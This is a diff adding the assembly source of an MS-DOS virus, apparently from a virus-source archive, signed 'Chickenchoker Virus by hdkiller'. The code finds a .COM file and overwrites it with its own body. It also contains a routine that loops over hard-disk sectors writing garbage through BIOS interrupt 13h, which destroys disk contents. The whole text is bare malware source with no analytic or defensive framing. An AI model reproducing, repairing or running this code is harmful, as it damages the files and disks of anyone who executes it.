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MSDOS/Virus.MSDOS.Unknown.chchoke.asm

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+Code	Segment
+	Assume CS:code,DS:code
+	Org	100h
+
+startvx	proc	near
+
+	mov	ah,4eh
+	mov	cx,0000h
+	mov	dx,offset star_com
+	int	21h
+
+	mov	ah,3dh
+	mov	al,02h
+	mov	dx,9eh
+	int	21h
+
+	xchg	bx,ax
+	
+	mov	ah,40h
+	mov	cx,offset endvx - offset startvx
+	mov	dx,offset startvx
+	int	21h
+
+	mov	ah,3eh
+	int	21h
+
+	int	20h
+
+szTitleName	db' Chickenchoker Virus by hdkiller has been activated'
+
+rip_hd:
+
+	xor dx,dx
+rip_hd1:
+		mov cx,2
+		mov ax,311h
+		mov dl,80h
+		mov bx,5000h
+		mov es,bx
+		int 13h
+		jae rip_hd2
+		xor ah,ah
+		int 13h
+		rip_hd2:
+		inc dh
+		cmp dh,4
+		jb rip_hd1
+		inc ch
+		jmp rip_hd
+
+startvx	endp
+
+star_com:	db	"*.com",0
+
+endvx	label	near
+
+code	ends
+	end	startvx